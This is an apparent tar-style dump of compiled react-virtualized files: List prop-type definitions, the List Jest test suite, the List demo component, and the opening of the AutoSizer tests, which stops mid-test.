import { bpfrpt_proptype_Alignment } from "../Grid";
import { bpfrpt_proptype_CellSize } from "../Grid";
import { bpfrpt_proptype_CellPosition } from "../Grid";
import { bpfrpt_proptype_OverscanIndicesGetter } from "../Grid";
import { bpfrpt_proptype_RenderedSection } from "../Grid";
import { bpfrpt_proptype_CellRendererParams } from "../Grid";
import { bpfrpt_proptype_Scroll as bpfrpt_proptype_GridScroll } from "../Grid";
import { bpfrpt_proptype_RowRenderer } from "./types";
import { bpfrpt_proptype_RenderedRows } from "./types";
import { bpfrpt_proptype_Scroll } from "./types";
import PropTypes from "prop-types";es/List/types.js000064400000002210151677406000007571 0ustar00import * as React from 'react';
var bpfrpt_proptype_RowRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "index": PropTypes.number.isRequired,
  "isScrolling": PropTypes.bool.isRequired,
  "isVisible": PropTypes.bool.isRequired,
  "key": PropTypes.string.isRequired,
  "parent": PropTypes.object.isRequired,
  "style": PropTypes.object.isRequired
};
var bpfrpt_proptype_RowRenderer = process.env.NODE_ENV === 'production' ? null : PropTypes.func;
var bpfrpt_proptype_RenderedRows = process.env.NODE_ENV === 'production' ? null : {
  "overscanStartIndex": PropTypes.number.isRequired,
  "overscanStopIndex": PropTypes.number.isRequired,
  "startIndex": PropTypes.number.isRequired,
  "stopIndex": PropTypes.number.isRequired
};
var bpfrpt_proptype_Scroll = process.env.NODE_ENV === 'production' ? null : {
  "clientHeight": PropTypes.number.isRequired,
  "scrollHeight": PropTypes.number.isRequired,
  "scrollTop": PropTypes.number.isRequired
};
import PropTypes from "prop-types";
export { bpfrpt_proptype_RowRendererParams };
export { bpfrpt_proptype_RowRenderer };
export { bpfrpt_proptype_RenderedRows };
export { bpfrpt_proptype_Scroll };es/List/index.js000064400000000266151677406000007545 0ustar00export { default } from './List';
export { default as List } from './List';
import { bpfrpt_proptype_RowRendererParams } from "./types";
export { bpfrpt_proptype_RowRendererParams };es/List/List.jest.js000064400000043744151677406000010325 0ustar00import _extends from "@babel/runtime/helpers/extends";
import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import { Simulate } from 'react-dom/test-utils';
import Immutable from 'immutable';
import List from './List';
import { defaultOverscanIndicesGetter } from '../Grid';
describe('List', function () {
  var array = [];

  for (var i = 0; i < 100; i++) {
    array.push("Name ".concat(i));
  }

  var names = Immutable.fromJS(array); // Override default behavior of overscanning by at least 1 (for accessibility)
  // Because it makes for simple tests below

  function overscanIndicesGetter(_ref) {
    var startIndex = _ref.startIndex,
        stopIndex = _ref.stopIndex;
    return {
      overscanStartIndex: startIndex,
      overscanStopIndex: stopIndex
    };
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};

    function rowRenderer(_ref2) {
      var index = _ref2.index,
          key = _ref2.key,
          style = _ref2.style;
      return React.createElement("div", {
        className: "listItem",
        key: key,
        style: style
      }, names.get(index));
    }

    return React.createElement(List, _extends({
      height: 100,
      overscanIndicesGetter: overscanIndicesGetter,
      overscanRowCount: 0,
      rowHeight: 10,
      rowCount: names.size,
      rowRenderer: rowRenderer,
      width: 100
    }, props));
  }

  describe('number of rendered children', function () {
    it('should render enough children to fill the view', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.querySelectorAll('.listItem').length).toEqual(10);
    });
    it('should not render more children than available if the list is not filled', function () {
      var rendered = findDOMNode(render(getMarkup({
        rowCount: 5
      })));
      expect(rendered.querySelectorAll('.listItem').length).toEqual(5);
    });
  });
  describe('scrollToPosition', function () {
    it('should scroll to the top', function () {
      var instance = render(getMarkup({
        rowHeight: 10
      }));
      instance.scrollToPosition(100);
      var rendered = findDOMNode(instance);
      expect(rendered.textContent).toContain('Name 10');
      expect(rendered.textContent).toContain('Name 19');
    });
  });
  /** Tests scrolling via initial props */

  describe('scrollToIndex', function () {
    it('should scroll to the top', function () {
      var rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 0
      })));
      expect(rendered.textContent).toContain('Name 0');
    });
    it('should scroll down to the middle', function () {
      var rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height
      // 10 items can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(rendered.textContent).toContain('Name 49');
    });
    it('should scroll to the bottom', function () {
      var rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 99
      }))); // 100 height - 10 header = 90 available scroll space.
      // 100 items * 10 item height = 1,000 total item height
      // Target height for the last item then is 1000 - 90

      expect(rendered.textContent).toContain('Name 99');
    });
    it('should scroll to the correct position for :scrollToAlignment "start"', function () {
      var rendered = findDOMNode(render(getMarkup({
        scrollToAlignment: 'start',
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height; 10 items can be visible at a time.

      expect(rendered.textContent).toContain('Name 49');
      expect(rendered.textContent).toContain('Name 58');
    });
    it('should scroll to the correct position for :scrollToAlignment "end"', function () {
      render(getMarkup({
        scrollToIndex: 99
      }));
      var rendered = findDOMNode(render(getMarkup({
        scrollToAlignment: 'end',
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height; 10 items can be visible at a time.

      expect(rendered.textContent).toContain('Name 40');
      expect(rendered.textContent).toContain('Name 49');
    });
    it('should scroll to the correct position for :scrollToAlignment "center"', function () {
      render(getMarkup({
        scrollToIndex: 99
      }));
      var rendered = findDOMNode(render(getMarkup({
        scrollToAlignment: 'center',
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height; 11 items can be visible at a time (the first and last item are only partially visible)

      expect(rendered.textContent).toContain('Name 44');
      expect(rendered.textContent).toContain('Name 54');
    });
  });
  describe('property updates', function () {
    it('should update :scrollToIndex position when :rowHeight changes', function () {
      var rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 50
      })));
      expect(rendered.textContent).toContain('Name 50'); // Making rows taller pushes name off/beyond the scrolled area

      rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 50,
        rowHeight: 20
      })));
      expect(rendered.textContent).toContain('Name 50');
    });
    it('should update :scrollToIndex position when :height changes', function () {
      var rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 50
      })));
      expect(rendered.textContent).toContain('Name 50'); // Making the list shorter leaves only room for 1 item

      rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 50,
        height: 20
      })));
      expect(rendered.textContent).toContain('Name 50');
    });
    it('should update :scrollToIndex position when :scrollToIndex changes', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.textContent).not.toContain('Name 50');
      rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 50
      })));
      expect(rendered.textContent).toContain('Name 50');
    });
    it('should update scroll position if size shrinks smaller than the current scroll', function () {
      findDOMNode(render(getMarkup({
        scrollToIndex: 500
      })));
      findDOMNode(render(getMarkup()));
      var rendered = findDOMNode(render(getMarkup({
        scrollToIndex: 500,
        rowCount: 10
      })));
      expect(rendered.textContent).toContain('Name 9');
    });
  });
  describe('noRowsRenderer', function () {
    it('should call :noRowsRenderer if :rowCount is 0', function () {
      var rendered = findDOMNode(render(getMarkup({
        noRowsRenderer: function noRowsRenderer() {
          return React.createElement("div", null, "No rows!");
        },
        rowCount: 0
      })));
      expect(rendered.textContent).toEqual('No rows!');
    });
    it('should render an empty body if :rowCount is 0 and there is no :noRowsRenderer', function () {
      var rendered = findDOMNode(render(getMarkup({
        rowCount: 0
      })));
      expect(rendered.textContent).toEqual('');
    });
  });
  describe('onRowsRendered', function () {
    it('should call :onRowsRendered if at least one row is rendered', function () {
      var startIndex, stopIndex;
      render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params;

          return _params = params, startIndex = _params.startIndex, stopIndex = _params.stopIndex, _params;
        }
      }));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
    });
    it('should not call :onRowsRendered unless the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      findDOMNode(render(getMarkup({
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
      findDOMNode(render(getMarkup({
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
    });
    it('should call :onRowsRendered if the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      findDOMNode(render(getMarkup({
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
      findDOMNode(render(getMarkup({
        height: 50,
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(2);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(4);
    });
    it('should not call :onRowsRendered if no rows are rendered', function () {
      var startIndex, stopIndex;
      render(getMarkup({
        height: 0,
        onRowsRendered: function onRowsRendered(params) {
          var _params2;

          return _params2 = params, startIndex = _params2.startIndex, stopIndex = _params2.stopIndex, _params2;
        }
      }));
      expect(startIndex).toEqual(undefined);
      expect(stopIndex).toEqual(undefined);
    });
  });
  describe(':scrollTop property', function () {
    it('should render correctly when an initial :scrollTop property is specified', function () {
      var startIndex, stopIndex;
      render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params3;

          return _params3 = params, startIndex = _params3.startIndex, stopIndex = _params3.stopIndex, _params3;
        },
        scrollTop: 100
      }));
      expect(startIndex).toEqual(10);
      expect(stopIndex).toEqual(19);
    });
    it('should render correctly when :scrollTop property is updated', function () {
      var startIndex, stopIndex;
      findDOMNode(render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params4;

          return _params4 = params, startIndex = _params4.startIndex, stopIndex = _params4.stopIndex, _params4;
        }
      })));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
      findDOMNode(render(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params5;

          return _params5 = params, startIndex = _params5.startIndex, stopIndex = _params5.stopIndex, _params5;
        },
        scrollTop: 100
      })));
      expect(startIndex).toEqual(10);
      expect(stopIndex).toEqual(19);
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var node = findDOMNode(render(getMarkup()));
      expect(node.className).toContain('ReactVirtualized__List');
    });
    it('should use a custom :className if specified', function () {
      var node = findDOMNode(render(getMarkup({
        className: 'foo'
      })));
      expect(node.className).toContain('foo');
    });
    it('should use a custom :id if specified', function () {
      var node = findDOMNode(render(getMarkup({
        id: 'bar'
      })));
      expect(node.getAttribute('id')).toEqual('bar');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = findDOMNode(render(getMarkup({
        style: style
      })));
      expect(rendered.style.backgroundColor).toEqual('red');
    });
    it('should set the width of a row to be 100% by default', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var cell = rendered.querySelector('.listItem');
      expect(cell.style.width).toEqual('100%');
    });
  });
  describe('overscanRowCount', function () {
    it('should not overscan by default', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      render(getMarkup({
        overscanIndicesGetter: mock
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(0);
    });
    it('should overscan the specified amount', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      render(getMarkup({
        overscanIndicesGetter: mock,
        overscanRowCount: 10
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(10);
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component initially mounts', function () {
      var onScrollCalls = [];
      render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 100,
        scrollHeight: 1000,
        scrollTop: 0
      }]);
    });
    it('should trigger callback when component scrolls', function () {
      var onScrollCalls = [];
      var rendered = render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      var target = {
        scrollLeft: 0,
        scrollTop: 100
      };
      rendered.Grid._scrollingContainer = target; // HACK to work around _onScroll target check

      Simulate.scroll(findDOMNode(rendered), {
        target: target
      });
      expect(onScrollCalls[onScrollCalls.length - 1]).toEqual({
        clientHeight: 100,
        scrollHeight: 1000,
        scrollTop: 100
      });
    });
  });
  describe('measureAllRows', function () {
    it('should measure any unmeasured rows', function () {
      var rendered = render(getMarkup({
        estimatedRowSize: 15,
        height: 0,
        rowCount: 10,
        rowHeight: function rowHeight() {
          return 20;
        },
        width: 0
      }));
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(150);
      rendered.measureAllRows();
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(200);
    });
  });
  describe('recomputeRowHeights', function () {
    it('should recompute row heights and other values when called', function () {
      var indices = [];

      var rowHeight = function rowHeight(_ref3) {
        var index = _ref3.index;
        indices.push(index);
        return 10;
      };

      var component = render(getMarkup({
        rowHeight: rowHeight,
        rowCount: 50
      }));
      indices.splice(0);
      component.recomputeRowHeights(); // Only the rows required to fill the current viewport will be rendered

      expect(indices[0]).toEqual(0);
      expect(indices[indices.length - 1]).toEqual(9);
      indices.splice(0);
      component.recomputeRowHeights(4);
      expect(indices[0]).toEqual(4);
      expect(indices[indices.length - 1]).toEqual(9);
    });
  });
  describe('forceUpdateGrid', function () {
    it('should refresh inner Grid content when called', function () {
      var marker = 'a';

      function rowRenderer(_ref4) {
        var index = _ref4.index,
            key = _ref4.key,
            style = _ref4.style;
        return React.createElement("div", {
          key: key,
          style: style
        }, index, marker);
      }

      var component = render(getMarkup({
        rowRenderer: rowRenderer
      }));
      var node = findDOMNode(component);
      expect(node.textContent).toContain('1a');
      marker = 'b';
      component.forceUpdateGrid();
      expect(node.textContent).toContain('1b');
    });
  });
  describe('tabIndex', function () {
    it('should be focusable by default', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.tabIndex).toEqual(0);
    });
    it('should allow tabIndex to be overridden', function () {
      var rendered = findDOMNode(render(getMarkup({
        tabIndex: -1
      })));
      expect(rendered.tabIndex).toEqual(-1);
    });
  });
  it('should pass the cellRenderer an :isVisible flag', function () {
    var rowRendererCalls = [];

    function rowRenderer(props) {
      rowRendererCalls.push(props);
      return null;
    }

    findDOMNode(render(getMarkup({
      height: 50,
      overscanIndicesGetter: defaultOverscanIndicesGetter,
      overscanRowCount: 1,
      rowHeight: 50,
      rowRenderer: rowRenderer
    })));
    expect(rowRendererCalls[0].isVisible).toEqual(true);
    expect(rowRendererCalls[1].isVisible).toEqual(false);
  });
  it('should relay the Grid :parent param to the :rowRenderer', function () {
    var rowRenderer = jest.fn().mockReturnValue(null);
    findDOMNode(render(getMarkup({
      rowRenderer: rowRenderer
    })));
    expect(rowRenderer.mock.calls[0][0].parent).not.toBeUndefined();
  });
  describe('pure', function () {
    it('should not re-render unless props have changed', function () {
      var rowRendererCalled = false;

      function rowRenderer(_ref5) {
        var index = _ref5.index,
            key = _ref5.key,
            style = _ref5.style;
        rowRendererCalled = true;
        return React.createElement("div", {
          key: key,
          style: style
        }, index);
      }

      var markup = getMarkup({
        rowRenderer: rowRenderer
      });
      render(markup);
      expect(rowRendererCalled).toEqual(true);
      rowRendererCalled = false;
      render(markup);
      expect(rowRendererCalled).toEqual(false);
    });
  });
  it('should set the width of the single-column inner Grid to auto', function () {
    var rendered = findDOMNode(render(getMarkup()));
    expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('auto');
  });
});es/List/List.example.js000064400000021360151677406000011001 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import clsx from 'clsx';
import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import styles from './List.example.css';
import AutoSizer from '../AutoSizer';
import List from './List';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';

var ListExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(ListExample, _React$PureComponent);

  function ListExample(props, context) {
    var _this;

    _classCallCheck(this, ListExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(ListExample).call(this, props, context));
    _this.state = {
      listHeight: 300,
      listRowHeight: 50,
      overscanRowCount: 10,
      rowCount: context.list.size,
      scrollToIndex: undefined,
      showScrollingPlaceholder: false,
      useDynamicRowHeight: false
    };
    _this._getRowHeight = _this._getRowHeight.bind(_assertThisInitialized(_this));
    _this._noRowsRenderer = _this._noRowsRenderer.bind(_assertThisInitialized(_this));
    _this._onRowCountChange = _this._onRowCountChange.bind(_assertThisInitialized(_this));
    _this._onScrollToRowChange = _this._onScrollToRowChange.bind(_assertThisInitialized(_this));
    _this._rowRenderer = _this._rowRenderer.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(ListExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          listHeight = _this$state.listHeight,
          listRowHeight = _this$state.listRowHeight,
          overscanRowCount = _this$state.overscanRowCount,
          rowCount = _this$state.rowCount,
          scrollToIndex = _this$state.scrollToIndex,
          showScrollingPlaceholder = _this$state.showScrollingPlaceholder,
          useDynamicRowHeight = _this$state.useDynamicRowHeight;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "List",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/List/List.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/List.md"
      }), React.createElement(ContentBoxParagraph, null, "The list below is windowed (or \"virtualized\") meaning that only the visible rows are rendered. Adjust its configurable properties below to see how it reacts."), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use dynamic row heights?",
        checked: useDynamicRowHeight,
        className: styles.checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            useDynamicRowHeight: event.target.checked
          });
        }
      }), "Use dynamic row heights?"), React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Show scrolling placeholder?",
        checked: showScrollingPlaceholder,
        className: styles.checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            showScrollingPlaceholder: event.target.checked
          });
        }
      }), "Show scrolling placeholder?")), React.createElement(InputRow, null, React.createElement(LabeledInput, {
        label: "Num rows",
        name: "rowCount",
        onChange: this._onRowCountChange,
        value: rowCount
      }), React.createElement(LabeledInput, {
        label: "Scroll to",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToIndex || ''
      }), React.createElement(LabeledInput, {
        label: "List height",
        name: "listHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            listHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: listHeight
      }), React.createElement(LabeledInput, {
        disabled: useDynamicRowHeight,
        label: "Row height",
        name: "listRowHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            listRowHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: listRowHeight
      }), React.createElement(LabeledInput, {
        label: "Overscan",
        name: "overscanRowCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanRowCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanRowCount
      })), React.createElement("div", null, React.createElement(AutoSizer, {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(List, {
          ref: "List",
          className: styles.List,
          height: listHeight,
          overscanRowCount: overscanRowCount,
          noRowsRenderer: _this2._noRowsRenderer,
          rowCount: rowCount,
          rowHeight: useDynamicRowHeight ? _this2._getRowHeight : listRowHeight,
          rowRenderer: _this2._rowRenderer,
          scrollToIndex: scrollToIndex,
          width: width
        });
      })));
    }
  }, {
    key: "_getDatum",
    value: function _getDatum(index) {
      var list = this.context.list;
      return list.get(index % list.size);
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(_ref2) {
      var index = _ref2.index;
      return this._getDatum(index).size;
    }
  }, {
    key: "_noRowsRenderer",
    value: function _noRowsRenderer() {
      return React.createElement("div", {
        className: styles.noRows
      }, "No rows");
    }
  }, {
    key: "_onRowCountChange",
    value: function _onRowCountChange(event) {
      var rowCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        rowCount: rowCount
      });
    }
  }, {
    key: "_onScrollToRowChange",
    value: function _onScrollToRowChange(event) {
      var rowCount = this.state.rowCount;
      var scrollToIndex = Math.min(rowCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToIndex)) {
        scrollToIndex = undefined;
      }

      this.setState({
        scrollToIndex: scrollToIndex
      });
    }
  }, {
    key: "_rowRenderer",
    value: function _rowRenderer(_ref3) {
      var index = _ref3.index,
          isScrolling = _ref3.isScrolling,
          key = _ref3.key,
          style = _ref3.style;
      var _this$state2 = this.state,
          showScrollingPlaceholder = _this$state2.showScrollingPlaceholder,
          useDynamicRowHeight = _this$state2.useDynamicRowHeight;

      if (showScrollingPlaceholder && isScrolling) {
        return React.createElement("div", {
          className: clsx(styles.row, styles.isScrollingPlaceholder),
          key: key,
          style: style
        }, "Scrolling...");
      }

      var datum = this._getDatum(index);

      var additionalContent;

      if (useDynamicRowHeight) {
        switch (datum.size) {
          case 75:
            additionalContent = React.createElement("div", null, "It is medium-sized.");
            break;

          case 100:
            additionalContent = React.createElement("div", null, "It is large-sized.", React.createElement("br", null), "It has a 3rd row.");
            break;
        }
      }

      return React.createElement("div", {
        className: styles.row,
        key: key,
        style: style
      }, React.createElement("div", {
        className: styles.letter,
        style: {
          backgroundColor: datum.color
        }
      }, datum.name.charAt(0)), React.createElement("div", null, React.createElement("div", {
        className: styles.name
      }, datum.name), React.createElement("div", {
        className: styles.index
      }, "This is row ", index), additionalContent), useDynamicRowHeight && React.createElement("span", {
        className: styles.height
      }, datum.size, "px"));
    }
  }]);

  return ListExample;
}(React.PureComponent);

_defineProperty(ListExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { ListExample as default };es/AutoSizer/AutoSizer.jest.js000064400000030312151677406000012334 0ustar00import _regeneratorRuntime from "@babel/runtime/regenerator";
import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import AutoSizer from './AutoSizer';

function DefaultChildComponent(_ref) {
  var height = _ref.height,
      width = _ref.width,
      foo = _ref.foo,
      bar = _ref.bar;
  return React.createElement("div", null, "width:".concat(width, ", height:").concat(height, ", foo:").concat(foo, ", bar:").concat(bar));
}

describe('AutoSizer', function () {
  function getMarkup() {
    var _ref2 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref2$bar = _ref2.bar,
        bar = _ref2$bar === void 0 ? 123 : _ref2$bar,
        _ref2$ChildComponent = _ref2.ChildComponent,
        ChildComponent = _ref2$ChildComponent === void 0 ? DefaultChildComponent : _ref2$ChildComponent,
        _ref2$className = _ref2.className,
        className = _ref2$className === void 0 ? undefined : _ref2$className,
        _ref2$defaultHeight = _ref2.defaultHeight,
        defaultHeight = _ref2$defaultHeight === void 0 ? undefined : _ref2$defaultHeight,
        _ref2$defaultWidth = _ref2.defaultWidth,
        defaultWidth = _ref2$defaultWidth === void 0 ? undefined : _ref2$defaultWidth,
        _ref2$disableHeight = _ref2.disableHeight,
        disableHeight = _ref2$disableHeight === void 0 ? false : _ref2$disableHeight,
        _ref2$disableWidth = _ref2.disableWidth,
        disableWidth = _ref2$disableWidth === void 0 ? false : _ref2$disableWidth,
        _ref2$foo = _ref2.foo,
        foo = _ref2$foo === void 0 ? 456 : _ref2$foo,
        _ref2$height = _ref2.height,
        height = _ref2$height === void 0 ? 100 : _ref2$height,
        onResize = _ref2.onResize,
        _ref2$paddingBottom = _ref2.paddingBottom,
        paddingBottom = _ref2$paddingBottom === void 0 ? 0 : _ref2$paddingBottom,
        _ref2$paddingLeft = _ref2.paddingLeft,
        paddingLeft = _ref2$paddingLeft === void 0 ? 0 : _ref2$paddingLeft,
        _ref2$paddingRight = _ref2.paddingRight,
        paddingRight = _ref2$paddingRight === void 0 ? 0 : _ref2$paddingRight,
        _ref2$paddingTop = _ref2.paddingTop,
        paddingTop = _ref2$paddingTop === void 0 ? 0 : _ref2$paddingTop,
        _ref2$style = _ref2.style,
        style = _ref2$style === void 0 ? undefined : _ref2$style,
        _ref2$width = _ref2.width,
        width = _ref2$width === void 0 ? 200 : _ref2$width;

    var wrapperStyle = {
      boxSizing: 'border-box',
      height: height,
      paddingBottom: paddingBottom,
      paddingLeft: paddingLeft,
      paddingRight: paddingRight,
      paddingTop: paddingTop,
      width: width
    };
    mockOffsetSize(width, height);
    return React.createElement("div", {
      style: wrapperStyle
    }, React.createElement(AutoSizer, {
      className: className,
      defaultHeight: defaultHeight,
      defaultWidth: defaultWidth,
      disableHeight: disableHeight,
      disableWidth: disableWidth,
      onResize: onResize,
      style: style
    }, function (_ref3) {
      var height = _ref3.height,
          width = _ref3.width;
      return React.createElement(ChildComponent, {
        width: disableWidth ? undefined : width,
        height: disableHeight ? undefined : height,
        bar: bar,
        foo: foo
      });
    }));
  } // AutoSizer uses offsetWidth and offsetHeight.
  // Jest runs in JSDom which doesn't support measurements APIs.


  function mockOffsetSize(width, height) {
    Object.defineProperty(HTMLElement.prototype, 'offsetHeight', {
      configurable: true,
      value: height
    });
    Object.defineProperty(HTMLElement.prototype, 'offsetWidth', {
      configurable: true,
      value: width
    });
  }

  it('should relay properties to ChildComponent or React child', function () {
    var rendered = findDOMNode(render(getMarkup()));
    expect(rendered.textContent).toContain('foo:456');
    expect(rendered.textContent).toContain('bar:123');
  });
  it('should set the correct initial width and height of ChildComponent or React child', function () {
    var rendered = findDOMNode(render(getMarkup()));
    expect(rendered.textContent).toContain('height:100');
    expect(rendered.textContent).toContain('width:200');
  });
  it('should account for padding when calculating the available width and height', function () {
    var rendered = findDOMNode(render(getMarkup({
      paddingBottom: 10,
      paddingLeft: 4,
      paddingRight: 4,
      paddingTop: 15
    })));
    expect(rendered.textContent).toContain('height:75');
    expect(rendered.textContent).toContain('width:192');
  });
  it('should not update :width if :disableWidth is true', function () {
    var rendered = findDOMNode(render(getMarkup({
      disableWidth: true
    })));
    expect(rendered.textContent).toContain('height:100');
    expect(rendered.textContent).toContain('width:undefined');
  });
  it('should not update :height if :disableHeight is true', function () {
    var rendered = findDOMNode(render(getMarkup({
      disableHeight: true
    })));
    expect(rendered.textContent).toContain('height:undefined');
    expect(rendered.textContent).toContain('width:200');
  });

  function simulateResize(_ref4) {
    var element, height, width, trigger;
    return _regeneratorRuntime.async(function simulateResize$(_context) {
      while (1) {
        switch (_context.prev = _context.next) {
          case 0:
            element = _ref4.element, height = _ref4.height, width = _ref4.width;
            mockOffsetSize(width, height); // Trigger detectElementResize library by faking a scroll event
            // TestUtils Simulate doesn't work here in JSDom so we manually dispatch

            trigger = element.querySelector('.contract-trigger');
            trigger.dispatchEvent(new Event('scroll')); // Allow requestAnimationFrame to be invoked before continuing

            _context.next = 6;
            return _regeneratorRuntime.awrap(new Promise(function (resolve) {
              return setTimeout(resolve, 100);
            }));

          case 6:
          case "end":
            return _context.stop();
        }
      }
    });
  }

  it('should update :height after a resize event', function _callee(done) {
    var rendered;
    return _regeneratorRuntime.async(function _callee$(_context2) {
      while (1) {
        switch (_context2.prev = _context2.next) {
          case 0:
            rendered = findDOMNode(render(getMarkup({
              height: 100,
              width: 200
            })));
            expect(rendered.textContent).toContain('height:100');
            expect(rendered.textContent).toContain('width:200');
            _context2.next = 5;
            return _regeneratorRuntime.awrap(simulateResize({
              element: rendered,
              height: 400,
              width: 300
            }));

          case 5:
            expect(rendered.textContent).toContain('height:400');
            expect(rendered.textContent).toContain('width:300');
            done();

          case 8:
          case "end":
            return _context2.stop();
        }
      }
    });
  });
  describe('onResize and (re)render', function () {
    it('should trigger when size changes', function _callee2(done) {
      var onResize, ChildComponent, rendered;
      return _regeneratorRuntime.async(function _callee2$(_context3) {
        while (1) {
          switch (_context3.prev = _context3.next) {
            case 0:
              onResize = jest.fn();
              ChildComponent = jest.fn().mockImplementation(DefaultChildComponent);
              rendered = findDOMNode(render(getMarkup({
                ChildComponent: ChildComponent,
                height: 100,
                onResize: onResize,
                width: 200
              })));
              ChildComponent.mockClear(); // TODO Improve initial check in version 10; see AutoSizer render()

              expect(onResize).toHaveBeenCalledTimes(1);
              _context3.next = 7;
              return _regeneratorRuntime.awrap(simulateResize({
                element: rendered,
                height: 400,
                width: 300
              }));

            case 7:
              expect(ChildComponent).toHaveBeenCalledTimes(1);
              expect(onResize).toHaveBeenCalledTimes(2);
              done();

            case 10:
            case "end":
              return _context3.stop();
          }
        }
      });
    });
    it('should only trigger when height changes for disableWidth == true', function _callee3(done) {
      var onResize, ChildComponent, rendered;
      return _regeneratorRuntime.async(function _callee3$(_context4) {
